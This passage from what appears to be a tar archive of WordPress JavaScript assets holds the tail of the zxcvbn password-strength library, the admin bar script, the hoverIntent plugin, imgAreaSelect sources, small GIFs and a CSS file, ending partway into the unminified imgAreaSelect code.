e,t,r;for(r=[],t=0,e=s.length;t<e;t++)n=s[t],n===E&&r.push(n);return r}().length,r=function(){var e,t,r;for(r=[],t=0,e=s.length;t<e;t++)n=s[t],n===c&&r.push(n);return r}().length,0===t||0===r)g*=2;else{for(i=Math.min(r,t),_=0,a=u=1,h=i;1<=h?u<=h:u>=h;a=1<=h?++u:--u)_+=this.nCk(r+t,a);g*=_}return g}},module.exports=scoring; },{"./adjacency_graphs":1}],7:[function(require,module,exports){ var time_estimates;time_estimates={estimate_attack_times:function(e){var t,n,s,o;n={online_throttling_100_per_hour:e/(100/3600),online_no_throttling_10_per_second:e/10,offline_slow_hashing_1e4_per_second:e/1e4,offline_fast_hashing_1e10_per_second:e/1e10},t={};for(s in n)o=n[s],t[s]=this.display_time(o);return{crack_times_seconds:n,crack_times_display:t,score:this.guesses_to_score(e)}},guesses_to_score:function(e){var t;return t=5,e<1e3+t?0:e<1e6+t?1:e<1e8+t?2:e<1e10+t?3:4},display_time:function(e){var t,n,s,o,_,r,i,a,u,c;return i=60,r=60*i,s=24*r,a=31*s,c=12*a,n=100*c,u=e<1?[null,"less than a second"]:e<i?(t=Math.round(e),[t,t+" second"]):e<r?(t=Math.round(e/i),[t,t+" minute"]):e<s?(t=Math.round(e/r),[t,t+" hour"]):e<a?(t=Math.round(e/s),[t,t+" day"]):e<c?(t=Math.round(e/a),[t,t+" month"]):e<n?(t=Math.round(e/c),[t,t+" year"]):[null,"centuries"],o=u[0],_=u[1],null!=o&&1!==o&&(_+="s"),_}},module.exports=time_estimates; },{}]},{},[4])(4) }); �����������������������������������js/admin-bar.min.js���������������������������������������������������������������������������������0000644�����������������00000006734�14717703502�0010152 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! This file is auto-generated */ !function(l,u,d){function m(e){27===e.which&&(e=w(e.target,".menupop"))&&(e.querySelector(".menupop > .ab-item").focus(),y(e,"hover"))}function f(e){var t;13!==e.which||w(e.target,".ab-sub-wrapper")||(t=w(e.target,".menupop"))&&(e.preventDefault(),(o(t,"hover")?y:b)(t,"hover"))}function p(e){var t;13===e.which&&(t=e.target.getAttribute("href"),-1<d.userAgent.toLowerCase().indexOf("applewebkit")&&t&&"#"===t.charAt(0)&&setTimeout(function(){var e=l.getElementById(t.replace("#",""));e&&(e.setAttribute("tabIndex","0"),e.focus())},100))}function h(e,t){w(t.target,".ab-sub-wrapper")||(t.preventDefault(),(t=w(t.target,".menupop"))&&(o(t,"hover")?y(t,"hover"):(E(e),b(t,"hover"))))}function v(e){var t,n=e.target.parentNode;if(t=n?n.querySelector(".shortlink-input"):t)return e.preventDefault&&e.preventDefault(),e.returnValue=!1,b(n,"selected"),t.focus(),t.select(),!(t.onblur=function(){y(n,"selected")})}function g(){if("sessionStorage"in u)try{for(var e in sessionStorage)-1<e.indexOf("wp-autosave-")&&sessionStorage.removeItem(e)}catch(e){}}function o(e,t){return e&&(e.classList&&e.classList.contains?e.classList.contains(t):e.className&&-1<e.className.split(" ").indexOf(t))}function b(e,t){e&&(e.classList&&e.classList.add?e.classList.add(t):o(e,t)||(e.className&&(e.className+=" "),e.className+=t))}function y(e,t){var n,r;if(e&&o(e,t))if(e.classList&&e.classList.remove)e.classList.remove(t);else{for(n=" "+t+" ",r=" "+e.className+" ";-1<r.indexOf(n);)r=r.replace(n,"");e.className=r.replace(/^[\s]+|[\s]+$/g,"")}}function E(e){if(e&&e.length)for(var t=0;t<e.length;t++)y(e[t],"hover")}function L(e){if(!e.target||"wpadminbar"===e.target.id||"wp-admin-bar-top-secondary"===e.target.id)try{u.scrollTo({top:-32,left:0,behavior:"smooth"})}catch(e){u.scrollTo(0,-32)}}function w(e,t){for(u.Element.prototype.matches||(u.Element.prototype.matches=u.Element.prototype.matchesSelector||u.Element.prototype.mozMatchesSelector||u.Element.prototype.msMatchesSelector||u.Element.prototype.oMatchesSelector||u.Element.prototype.webkitMatchesSelector||function(e){for(var t=(this.document||this.ownerDocument).querySelectorAll(e),n=t.length;0<=--n&&t.item(n)!==this;);return-1<n});e&&e!==l;e=e.parentNode)if(e.matches(t))return e;return null}l.addEventListener("DOMContentLoaded",function(){var n,e,t,r,o,a,s,i,c=l.getElementById("wpadminbar");if(c&&"querySelectorAll"in c){n=c.querySelectorAll("li.menupop"),e=c.querySelectorAll(".ab-item"),t=l.getElementById("wp-admin-bar-logout"),r=l.getElementById("adminbarsearch"),o=l.getElementById("wp-admin-bar-get-shortlink"),a=c.querySelector(".screen-reader-shortcut"),s=/Mobile\/.+Safari/.test(d.userAgent)?"touchstart":"click",y(c,"nojs"),"ontouchstart"in u&&(l.body.addEventListener(s,function(e){w(e.target,"li.menupop")||E(n)}),c.addEventListener("touchstart",function e(){for(var t=0;t<n.length;t++)n[t].addEventListener("click",h.bind(null,n));c.removeEventListener("touchstart",e)})),c.addEventListener("click",L);for(i=0;i<n.length;i++)u.hoverintent(n[i],b.bind(null,n[i],"hover"),y.bind(null,n[i],"hover")).options({timeout:180}),n[i].addEventListener("keydown",f);for(i=0;i<e.length;i++)e[i].addEventListener("keydown",m);r&&((s=l.getElementById("adminbar-search")).addEventListener("focus",function(){b(r,"adminbar-focused")}),s.addEventListener("blur",function(){y(r,"adminbar-focused")})),a&&a.addEventListener("keydown",p),o&&o.addEventListener("click",v),u.location.hash&&u.scrollBy(0,-32),t&&t.addEventListener("click",g)}})}(document,window,navigator);������������������������������������js/hoverIntent.js�����������������������������������������������������������������������������������0000644�����������������00000016071�14717703502�0010036 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * hoverIntent v1.10.2 // 2020.04.28 // jQuery v1.7.0+ * http://briancherne.github.io/jquery-hoverIntent/ * * You may use hoverIntent under the terms of the MIT license. Basically that * means you are free to use hoverIntent as long as this header is left intact. * Copyright 2007-2019 Brian Cherne */ /** * hoverIntent is similar to jQuery's built-in "hover" method except that * instead of firing the handlerIn function immediately, hoverIntent checks * to see if the user's mouse has slowed down (beneath the sensitivity * threshold) before firing the event. The handlerOut function is only * called after a matching handlerIn. * * // basic usage ... just like .hover() * .hoverIntent( handlerIn, handlerOut ) * .hoverIntent( handlerInOut ) * * // basic usage ... with event delegation! * .hoverIntent( handlerIn, handlerOut, selector ) * .hoverIntent( handlerInOut, selector ) * * // using a basic configuration object * .hoverIntent( config ) * * @param handlerIn function OR configuration object * @param handlerOut function OR selector for delegation OR undefined * @param selector selector OR undefined * @author Brian Cherne <brian(at)cherne(dot)net> */ ;(function(factory) { 'use strict'; if (typeof define === 'function' && define.amd) { define(['jquery'], factory); } else if (typeof module === 'object' && module.exports) { module.exports = factory(require('jquery')); } else if (jQuery && !jQuery.fn.hoverIntent) { factory(jQuery); } })(function($) { 'use strict'; // default configuration values var _cfg = { interval: 100, sensitivity: 6, timeout: 0 }; // counter used to generate an ID for each instance var INSTANCE_COUNT = 0; // current X and Y position of mouse, updated during mousemove tracking (shared across instances) var cX, cY; // saves the current pointer position coordinates based on the given mousemove event var track = function(ev) { cX = ev.pageX; cY = ev.pageY; }; // compares current and previous mouse positions var compare = function(ev,$el,s,cfg) { // compare mouse positions to see if pointer has slowed enough to trigger `over` function if ( Math.sqrt( (s.pX-cX)*(s.pX-cX) + (s.pY-cY)*(s.pY-cY) ) < cfg.sensitivity ) { $el.off(s.event,track); delete s.timeoutId; // set hoverIntent state as active for this element (permits `out` handler to trigger) s.isActive = true; // overwrite old mouseenter event coordinates with most recent pointer position ev.pageX = cX; ev.pageY = cY; // clear coordinate data from state object delete s.pX; delete s.pY; return cfg.over.apply($el[0],[ev]); } else { // set previous coordinates for next comparison s.pX = cX; s.pY = cY; // use self-calling timeout, guarantees intervals are spaced out properly (avoids JavaScript timer bugs) s.timeoutId = setTimeout( function(){compare(ev, $el, s, cfg);} , cfg.interval ); } }; // triggers given `out` function at configured `timeout` after a mouseleave and clears state var delay = function(ev,$el,s,out) { var data = $el.data('hoverIntent'); if (data) { delete data[s.id]; } return out.apply($el[0],[ev]); }; // checks if `value` is a function var isFunction = function(value) { return typeof value === 'function'; }; $.fn.hoverIntent = function(handlerIn,handlerOut,selector) { // instance ID, used as a key to store and retrieve state information on an element var instanceId = INSTANCE_COUNT++; // extend the default configuration and parse parameters var cfg = $.extend({}, _cfg); if ( $.isPlainObject(handlerIn) ) { cfg = $.extend(cfg, handlerIn); if ( !isFunction(cfg.out) ) { cfg.out = cfg.over; } } else if ( isFunction(handlerOut) ) { cfg = $.extend(cfg, { over: handlerIn, out: handlerOut, selector: selector } ); } else { cfg = $.extend(cfg, { over: handlerIn, out: handlerIn, selector: handlerOut } ); } // A private function for handling mouse 'hovering' var handleHover = function(e) { // cloned event to pass to handlers (copy required for event object to be passed in IE) var ev = $.extend({},e); // the current target of the mouse event, wrapped in a jQuery object var $el = $(this); // read hoverIntent data from element (or initialize if not present) var hoverIntentData = $el.data('hoverIntent'); if (!hoverIntentData) { $el.data('hoverIntent', (hoverIntentData = {})); } // read per-instance state from element (or initialize if not present) var state = hoverIntentData[instanceId]; if (!state) { hoverIntentData[instanceId] = state = { id: instanceId }; } // state properties: // id = instance ID, used to clean up data // timeoutId = timeout ID, reused for tracking mouse position and delaying "out" handler // isActive = plugin state, true after `over` is called just until `out` is called // pX, pY = previously-measured pointer coordinates, updated at each polling interval // event = string representing the namespaced event used for mouse tracking // clear any existing timeout if (state.timeoutId) { state.timeoutId = clearTimeout(state.timeoutId); } // namespaced event used to register and unregister mousemove tracking var mousemove = state.event = 'mousemove.hoverIntent.hoverIntent'+instanceId; // handle the event, based on its type if (e.type === 'mouseenter') { // do nothing if already active if (state.isActive) { return; } // set "previous" X and Y position based on initial entry point state.pX = ev.pageX; state.pY = ev.pageY; // update "current" X and Y position based on mousemove $el.off(mousemove,track).on(mousemove,track); // start polling interval (self-calling timeout) to compare mouse coordinates over time state.timeoutId = setTimeout( function(){compare(ev,$el,state,cfg);} , cfg.interval ); } else { // "mouseleave" // do nothing if not already active if (!state.isActive) { return; } // unbind expensive mousemove event $el.off(mousemove,track); // if hoverIntent state is true, then call the mouseOut function after the specified delay state.timeoutId = setTimeout( function(){delay(ev,$el,state,cfg.out);} , cfg.timeout ); } }; // listen for mouseenter and mouseleave return this.on({'mouseenter.hoverIntent':handleHover,'mouseleave.hoverIntent':handleHover}, cfg.selector); }; }); �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/imgareaselect/jquery.imgareaselect.min.js��������������������������������������������������������0000644�����������������00000022760�14717703502�0015245 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������!function(we){var Se=Math.abs,ze=Math.max,ke=Math.min,Ce=Math.round;function Ae(){return we("<div/>")}we.imgAreaSelect=function(o,n){var T,L,r,c,d,a,t,j,D,R,X,i,Y,$,q,B,s,Q,u,l,h,f,F,m,p,y,g,G,v=we(o),b=Ae(),x=Ae(),w=Ae().add(Ae()).add(Ae()).add(Ae()),S=Ae().add(Ae()).add(Ae()).add(Ae()),z=we([]),k={left:0,top:0},C={left:0,top:0},A=0,J="absolute",W={x1:0,y1:0,x2:0,y2:0,width:0,height:0},U=document.documentElement,V=navigator.userAgent;function I(e){return e+k.left-C.left}function K(e){return e+k.top-C.top}function P(e){return e-k.left+C.left}function N(e){return e-k.top+C.top}function Z(e){return ze(e.pageX||0,ee(e).x)-C.left}function _(e){return ze(e.pageY||0,ee(e).y)-C.top}function ee(e){e=e.originalEvent||{};return e.touches&&e.touches.length?{x:e.touches[0].pageX,y:e.touches[0].pageY}:{x:0,y:0}}function H(e){var t=e||R,e=e||X;return{x1:Ce(W.x1*t),y1:Ce(W.y1*e),x2:Ce(W.x2*t),y2:Ce(W.y2*e),width:Ce(W.x2*t)-Ce(W.x1*t),height:Ce(W.y2*e)-Ce(W.y1*e)}}function te(e,t,o,i,s){var n=s||R,s=s||X;(W={x1:Ce(e/n||0),y1:Ce(t/s||0),x2:Ce(o/n||0),y2:Ce(i/s||0)}).width=W.x2-W.x1,W.height=W.y2-W.y1}function M(){T&&v.width()&&(k={left:Ce(v.offset().left),top:Ce(v.offset().top)},d=v.innerWidth(),a=v.innerHeight(),k.top+=v.outerHeight()-a>>1,k.left+=v.outerWidth()-d>>1,Y=Ce(n.minWidth/R)||0,$=Ce(n.minHeight/X)||0,q=Ce(ke(n.maxWidth/R||1<<24,d)),B=Ce(ke(n.maxHeight/X||1<<24,a)),"1.3.2"!=we().jquery||"fixed"!=J||U.getBoundingClientRect||(k.top+=ze(document.body.scrollTop,U.scrollTop),k.left+=ze(document.body.scrollLeft,U.scrollLeft)),C=/absolute|relative/.test(t.css("position"))?{left:Ce(t.offset().left)-t.scrollLeft(),top:Ce(t.offset().top)-t.scrollTop()}:"fixed"==J?{left:we(document).scrollLeft(),top:we(document).scrollTop()}:{left:0,top:0},r=I(0),c=K(0),(W.x2>d||W.y2>a)&&de())}function oe(e){if(Q){switch(b.css({left:I(W.x1),top:K(W.y1)}).add(x).width(y=W.width).height(g=W.height),x.add(w).add(z).css({left:0,top:0}),w.width(ze(y-w.outerWidth()+w.innerWidth(),0)).height(ze(g-w.outerHeight()+w.innerHeight(),0)),we(S[0]).css({left:r,top:c,width:W.x1,height:a}),we(S[1]).css({left:r+W.x1,top:c,width:y,height:W.y1}),we(S[2]).css({left:r+W.x2,top:c,width:d-W.x2,height:a}),we(S[3]).css({left:r+W.x1,top:c+W.y2,width:y,height:a-W.y2}),y-=z.outerWidth(),g-=z.outerHeight(),z.length){case 8:we(z[4]).css({left:y>>1}),we(z[5]).css({left:y,top:g>>1}),we(z[6]).css({left:y>>1,top:g}),we(z[7]).css({top:g>>1});case 4:z.slice(1,3).css({left:y}),z.slice(2,4).css({top:g})}!1!==e&&(we.imgAreaSelect.onKeyPress!=ge&&we(document).off(we.imgAreaSelect.keyPress,we.imgAreaSelect.onKeyPress),n.keys&&we(document).on(we.imgAreaSelect.keyPress,function(){we.imgAreaSelect.onKeyPress=ge})),O&&w.outerWidth()-w.innerWidth()==2&&(w.css("margin",0),setTimeout(function(){w.css("margin","auto")},0))}}function ie(e){M(),oe(e),u=I(W.x1),l=K(W.y1),h=I(W.x2),f=K(W.y2)}function se(e,t){n.fadeSpeed?e.fadeOut(n.fadeSpeed,t):e.hide()}function E(e){var t=P(Z(e))-W.x1,e=N(_(e))-W.y1;G||(M(),G=!0,b.one("mouseout",function(){G=!1})),i="",n.resizable&&(e<=n.resizeMargin?i="n":e>=W.height-n.resizeMargin&&(i="s"),t<=n.resizeMargin?i+="w":t>=W.width-n.resizeMargin&&(i+="e")),b.css("cursor",i?i+"-resize":n.movable?"move":""),L&&L.toggle()}function ne(e){we("body").css("cursor",""),!n.autoHide&&W.width*W.height!=0||se(b.add(S),function(){we(this).hide()}),we(document).off("mousemove touchmove",ae),b.on("mousemove touchmove",E),n.onSelectEnd(o,H())}function re(e){return"mousedown"==e.type&&1!=e.which||(E(e),M(),i?(we("body").css("cursor",i+"-resize"),u=I(W[/w/.test(i)?"x2":"x1"]),l=K(W[/n/.test(i)?"y2":"y1"]),we(document).on("mousemove touchmove",ae).one("mouseup touchend",ne),b.off("mousemove touchmove",E)):n.movable?(j=r+W.x1-Z(e),D=c+W.y1-_(e),b.off("mousemove touchmove",E),we(document).on("mousemove touchmove",le).one("mouseup touchend",function(){n.onSelectEnd(o,H()),we(document).off("mousemove touchmove",le),b.on("mousemove touchmove",E)})):v.mousedown(e)),!1}function ce(e){s&&(e?(h=ze(r,ke(r+d,u+Se(f-l)*s*(u<h||-1))),f=Ce(ze(c,ke(c+a,l+Se(h-u)/s*(l<f||-1)))),h=Ce(h)):(f=ze(c,ke(c+a,l+Se(h-u)/s*(l<f||-1))),h=Ce(ze(r,ke(r+d,u+Se(f-l)*s*(u<h||-1)))),f=Ce(f)))}function de(){u=ke(u,r+d),l=ke(l,c+a),Se(h-u)<Y&&((h=u-Y*(h<u||-1))<r?u=r+Y:r+d<h&&(u=r+d-Y)),Se(f-l)<$&&((f=l-$*(f<l||-1))<c?l=c+$:c+a<f&&(l=c+a-$)),h=ze(r,ke(h,r+d)),f=ze(c,ke(f,c+a)),ce(Se(h-u)<Se(f-l)*s),Se(h-u)>q&&(h=u-q*(h<u||-1),ce()),Se(f-l)>B&&(f=l-B*(f<l||-1),ce(!0)),W={x1:P(ke(u,h)),x2:P(ze(u,h)),y1:N(ke(l,f)),y2:N(ze(l,f)),width:Se(h-u),height:Se(f-l)},oe(),n.onSelectChange(o,H())}function ae(e){return h=/w|e|^$/.test(i)||s?Z(e):I(W.x2),f=/n|s|^$/.test(i)||s?_(e):K(W.y2),de(),!1}function ue(e,t){h=(u=e)+W.width,f=(l=t)+W.height,we.extend(W,{x1:P(u),y1:N(l),x2:P(h),y2:N(f)}),oe(),n.onSelectChange(o,H())}function le(e){return u=ze(r,ke(j+Z(e),r+d-W.width)),l=ze(c,ke(D+_(e),c+a-W.height)),ue(u,l),e.preventDefault(),!1}function he(){we(document).off("mousemove touchmove",he),M(),h=u,f=l,de(),i="",S.is(":visible")||b.add(S).hide().fadeIn(n.fadeSpeed||0),Q=!0,we(document).off("mouseup touchend",fe).on("mousemove touchmove",ae).one("mouseup touchend",ne),b.off("mousemove touchmove",E),n.onSelectStart(o,H())}function fe(){we(document).off("mousemove touchmove",he).off("mouseup touchend",fe),se(b.add(S)),te(P(u),N(l),P(u),N(l)),this instanceof we.imgAreaSelect||(n.onSelectChange(o,H()),n.onSelectEnd(o,H()))}function me(e){return 1<e.which||S.is(":animated")||(M(),j=u=Z(e),D=l=_(e),we(document).on({"mousemove touchmove":he,"mouseup touchend":fe})),!1}function pe(){ie(!1)}function ye(){T=!0,be(n=we.extend({classPrefix:"imgareaselect",movable:!0,parent:"body",resizable:!0,resizeMargin:10,onInit:function(){},onSelectStart:function(){},onSelectChange:function(){},onSelectEnd:function(){}},n)),b.add(S).css({visibility:""}),n.show&&(Q=!0,M(),oe(),b.add(S).hide().fadeIn(n.fadeSpeed||0)),setTimeout(function(){n.onInit(o,H())},0)}var ge=function(e){var t,o=n.keys,i=e.keyCode,s=isNaN(o.alt)||!e.altKey&&!e.originalEvent.altKey?!isNaN(o.ctrl)&&e.ctrlKey?o.ctrl:!isNaN(o.shift)&&e.shiftKey?o.shift:isNaN(o.arrows)?10:o.arrows:o.alt;if("resize"==o.arrows||"resize"==o.shift&&e.shiftKey||"resize"==o.ctrl&&e.ctrlKey||"resize"==o.alt&&(e.altKey||e.originalEvent.altKey)){switch(i){case 37:s=-s;case 39:t=ze(u,h),u=ke(u,h),h=ze(t+s,u),ce();break;case 38:s=-s;case 40:t=ze(l,f),l=ke(l,f),f=ze(t+s,l),ce(!0);break;default:return}de()}else switch(u=ke(u,h),l=ke(l,f),i){case 37:ue(ze(u-s,r),l);break;case 38:ue(u,ze(l-s,c));break;case 39:ue(u+ke(s,d-P(h)),l);break;case 40:ue(u,l+ke(s,a-N(f)));break;default:return}return!1};function ve(e,t){for(var o in t)void 0!==n[o]&&e.css(t[o],n[o])}function be(e){if(e.parent&&(t=we(e.parent)).append(b.add(S)),we.extend(n,e),M(),null!=e.handles){for(z.remove(),z=we([]),m=e.handles?"corners"==e.handles?4:8:0;m--;)z=z.add(Ae());z.addClass(n.classPrefix+"-handle").css({position:"absolute",fontSize:"0",zIndex:A+1||1}),0<=!parseInt(z.css("width"))&&z.width(5).height(5),(p=n.borderWidth)&&z.css({borderWidth:p,borderStyle:"solid"}),ve(z,{borderColor1:"border-color",borderColor2:"background-color",borderOpacity:"opacity"})}for(R=n.imageWidth/d||1,X=n.imageHeight/a||1,null!=e.x1&&(te(e.x1,e.y1,e.x2,e.y2),e.show=!e.hide),e.keys&&(n.keys=we.extend({shift:1,ctrl:"resize"},e.keys)),S.addClass(n.classPrefix+"-outer"),x.addClass(n.classPrefix+"-selection"),m=0;m++<4;)we(w[m-1]).addClass(n.classPrefix+"-border"+m);ve(x,{selectionColor:"background-color",selectionOpacity:"opacity"}),ve(w,{borderOpacity:"opacity",borderWidth:"border-width"}),ve(S,{outerColor:"background-color",outerOpacity:"opacity"}),(p=n.borderColor1)&&we(w[0]).css({borderStyle:"solid",borderColor:p}),(p=n.borderColor2)&&we(w[1]).css({borderStyle:"dashed",borderColor:p}),b.append(x.add(w).add(L)).append(z),O&&((p=(S.css("filter")||"").match(/opacity=(\d+)/))&&S.css("opacity",p[1]/100),(p=(w.css("filter")||"").match(/opacity=(\d+)/))&&w.css("opacity",p[1]/100)),e.hide?se(b.add(S)):e.show&&T&&(Q=!0,b.add(S).fadeIn(n.fadeSpeed||0),ie()),s=(F=(n.aspectRatio||"").split(/:/))[0]/F[1],v.add(S).off("mousedown",me),n.disable||!1===n.enable?(b.off({"mousemove touchmove":E,"mousedown touchstart":re}),we(window).off("resize",pe)):(!n.enable&&!1!==n.disable||((n.resizable||n.movable)&&b.on({"mousemove touchmove":E,"mousedown touchstart":re}),we(window).on("resize",pe)),n.persistent||v.add(S).on("mousedown touchstart",me)),n.enable=n.disable=void 0}this.remove=function(){be({disable:!0}),b.add(S).remove()},this.getOptions=function(){return n},this.setOptions=be,this.getSelection=H,this.setSelection=te,this.cancelSelection=fe,this.update=ie;for(var O=(/msie ([\w.]+)/i.exec(V)||[])[1],xe=/opera/i.test(V),V=/webkit/i.test(V)&&!/chrome/i.test(V),e=v;e.length;)A=ze(A,isNaN(e.css("z-index"))?A:e.css("z-index")),"fixed"==e.css("position")&&(J="fixed"),e=e.parent(":not(body)");A=n.zIndex||A,O&&v.attr("unselectable","on"),we.imgAreaSelect.keyPress=O||V?"keydown":"keypress",xe&&(L=Ae().css({width:"100%",height:"100%",position:"absolute",zIndex:A+2||2})),b.add(S).css({visibility:"hidden",position:J,overflow:"hidden",zIndex:A||"0"}),b.css({zIndex:A+2||2}),x.add(w).css({position:"absolute",fontSize:"0"}),o.complete||"complete"==o.readyState||!v.is("img")?ye():v.one("load",ye),!T&&O&&7<=O&&(o.src=o.src)},we.fn.imgAreaSelect=function(e){return e=e||{},this.each(function(){we(this).data("imgAreaSelect")?e.remove?(we(this).data("imgAreaSelect").remove(),we(this).removeData("imgAreaSelect")):we(this).data("imgAreaSelect").setOptions(e):e.remove||(void 0===e.enable&&void 0===e.disable&&(e.enable=!0),we(this).data("imgAreaSelect",new we.imgAreaSelect(this,e)))}),e.instance?we(this).data("imgAreaSelect"):this}}(jQuery);����������������js/imgareaselect/border-anim-v.gif������������������������������������������������������������������0000644�����������������00000000262�14717703502�0013124 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������GIF89a����666! NETSCAPE2.0���! ��,������@LQ�! ��,������ ^�! ��,������ ^�! ��,�������D^�! ��,������D^�! ��,������D^�;����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/imgareaselect/imgareaselect.css������������������������������������������������������������������0000644�����������������00000001426�14717703502�0013315 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/* * imgAreaSelect animated border style */ .imgareaselect-border1 { background: url(border-anim-v.gif) repeat-y left top; } .imgareaselect-border2 { background: url(border-anim-h.gif) repeat-x left top; } .imgareaselect-border3 { background: url(border-anim-v.gif) repeat-y right top; } .imgareaselect-border4 { background: url(border-anim-h.gif) repeat-x left bottom; } .imgareaselect-border1, .imgareaselect-border2, .imgareaselect-border3, .imgareaselect-border4 { filter: alpha(opacity=50); opacity: 0.5; } .imgareaselect-handle { background-color: #fff; border: solid 1px #000; filter: alpha(opacity=50); opacity: 0.5; } .imgareaselect-outer { background-color: #000; filter: alpha(opacity=50); opacity: 0.5; } .imgareaselect-selection { } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/imgareaselect/border-anim-h.gif������������������������������������������������������������������0000644�����������������00000000262�14717703502�0013106 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������GIF89a����666! NETSCAPE2.0���! ��,������@ Q�! ��,������ ^�! ��,������ ^�! ��,�������D^�! ��,������D^�! ��,������D^�;����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/imgareaselect/jquery.imgareaselect.js������������������������������������������������������������0000644�����������������00000112426�14717703502�0014462 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/* * imgAreaSelect jQuery plugin * version 0.9.10-wp * * Copyright (c) 2008-2013 Michal Wojciechowski (odyniec.net) * * Dual licensed under the MIT (MIT-LICENSE.txt) * and GPL (GPL-LICENSE.txt) licenses. * * https://github.com/odyniec/imgareaselect * */ (function($) { /* * Math functions will be used extensively, so it's convenient to make a few * shortcuts */ var abs = Math.abs, max = Math.max, min = Math.min, round = Math.round; /** * Create a new HTML div element * * @return A jQuery object representing the new element */ function div() { return $('<div/>'); } /** * imgAreaSelect initialization * * @param img * A HTML image element to attach the plugin to * @param options * An options object */ $.imgAreaSelect = function (img, options) { var /* jQuery object representing the image */ $img = $(img), /* Has the image finished loading? */ imgLoaded, /* Plugin elements */ /* Container box */ $box = div(), /* Selection area */ $area = div(), /* Border (four divs) */ $border = div().add(div()).add(div()).add(div()), /* Outer area (four divs) */ $outer = div().add(div()).add(div()).add(div()), /* Handles (empty by default, initialized in setOptions()) */ $handles = $([]), /* * Additional element to work around a cursor problem in Opera * (explained later) */ $areaOpera, /* Image position (relative to viewport) */ left, top, /* Image offset (as returned by .offset()) */ imgOfs = { left: 0, top: 0 }, /* Image dimensions (as returned by .width() and .height()) */ imgWidth, imgHeight, /* * jQuery object representing the parent element that the plugin * elements are appended to */ $parent, /* Parent element offset (as returned by .offset()) */ parOfs = { left: 0, top: 0 }, /* Base z-index for plugin elements */ zIndex = 0, /* Plugin elements position */ position = 'absolute', /* X/Y coordinates of the starting point for move/resize operations */ startX, startY, /* Horizontal and vertical scaling factors */ scaleX, scaleY, /* Current resize mode ("nw", "se", etc.) */ resize, /* Selection area constraints */ minWidth, minHeight, maxWidth, maxHeight, /* Aspect ratio to maintain (floating point number) */ aspectRatio, /* Are the plugin elements currently displayed? */ shown, /* Current selection (relative to parent element) */ x1, y1, x2, y2, /* Current selection (relative to scaled image) */ selection = { x1: 0, y1: 0, x2: 0, y2: 0, width: 0, height: 0 }, /* Document element */ docElem = document.documentElement, /* User agent */ ua = navigator.userAgent, /* Various helper variables used throughout the code */ $p, d, i, o, w, h, adjusted; /* * Translate selection coordinates (relative to scaled image) to viewport * coordinates (relative to parent element) */ /** * Translate selection X to viewport X * * @param x * Selection X * @return Viewport X */ function viewX(x) { return x + imgOfs.left - parOfs.left; } /** * Translate selection Y to viewport Y * * @param y * Selection Y * @return Viewport Y */ function viewY(y) { return y + imgOfs.top - parOfs.top; } /* * Translate viewport coordinates to selection coordinates */ /** * Translate viewport X to selection X * * @param x * Viewport X * @return Selection X */ function selX(x) { return x - imgOfs.left + parOfs.left; } /** * Translate viewport Y to selection Y * * @param y * Viewport Y * @return Selection Y */ function selY(y) { return y - imgOfs.top + parOfs.top; } /* * Translate event coordinates (relative to document) to viewport * coordinates */ /** * Get event X and translate it to viewport X * * @param event * The event object * @return Viewport X */ function evX(event) { return max(event.pageX || 0, touchCoords(event).x) - parOfs.left; } /** * Get event Y and translate it to viewport Y * * @param event * The event object * @return Viewport Y */ function evY(event) { return max(event.pageY || 0, touchCoords(event).y) - parOfs.top; } /** * Get X and Y coordinates of a touch event * * @param event * The event object * @return Coordinates object */ function touchCoords(event) { var oev = event.originalEvent || {}; if (oev.touches && oev.touches.length) return { x: oev.touches[0].pageX, y: oev.touches[0].pageY }; else return { x: 0, y: 0 }; } /** * Get the current selection * * @param noScale * If set to <code>true</code>, scaling is not applied to the * returned selection * @return Selection object */ function getSelection(noScale) { var sx = noScale || scaleX, sy = noScale || scaleY; return { x1: round(selection.x1 * sx), y1: round(selection.y1 * sy), x2: round(selection.x2 * sx), y2: round(selection.y2 * sy), width: round(selection.x2 * sx) - round(selection.x1 * sx), height: round(selection.y2 * sy) - round(selection.y1 * sy) }; } /** * Set the current selection * * @param x1 * X coordinate of the upper left corner of the selection area * @param y1 * Y coordinate of the upper left corner of the selection area * @param x2 * X coordinate of the lower right corner of the selection area * @param y2 * Y coordinate of the lower right corner of the selection area * @param noScale * If set to <code>true</code>, scaling is not applied to the * new selection */ function setSelection(x1, y1, x2, y2, noScale) { var sx = noScale || scaleX, sy = noScale || scaleY; selection = { x1: round(x1 / sx || 0), y1: round(y1 / sy || 0), x2: round(x2 / sx || 0), y2: round(y2 / sy || 0) }; selection.width = selection.x2 - selection.x1; selection.height = selection.y2 - selection.y1; } /** * Recalculate image and parent offsets */ function adjust() { /* * Do not adjust if image has not yet loaded or if width is not a * positive number. The latter might happen when imgAreaSelect is put * on a parent element which is then hidden. */ if (!imgLoaded || !$img.width()) return; /* * Get image offset. The .offset() method returns float values, so they * need to be rounded. */ imgOfs = { left: round($img.offset().left), top: round($img.offset().top) }; /* Get image dimensions */ imgWidth = $img.innerWidth(); imgHeight = $img.innerHeight(); imgOfs.top += ($img.outerHeight() - imgHeight) >> 1; imgOfs.left += ($img.outerWidth() - imgWidth) >> 1; /* Set minimum and maximum selection area dimensions */ minWidth = round(options.minWidth / scaleX) || 0; minHeight = round(options.minHeight / scaleY) || 0; maxWidth = round(min(options.maxWidth / 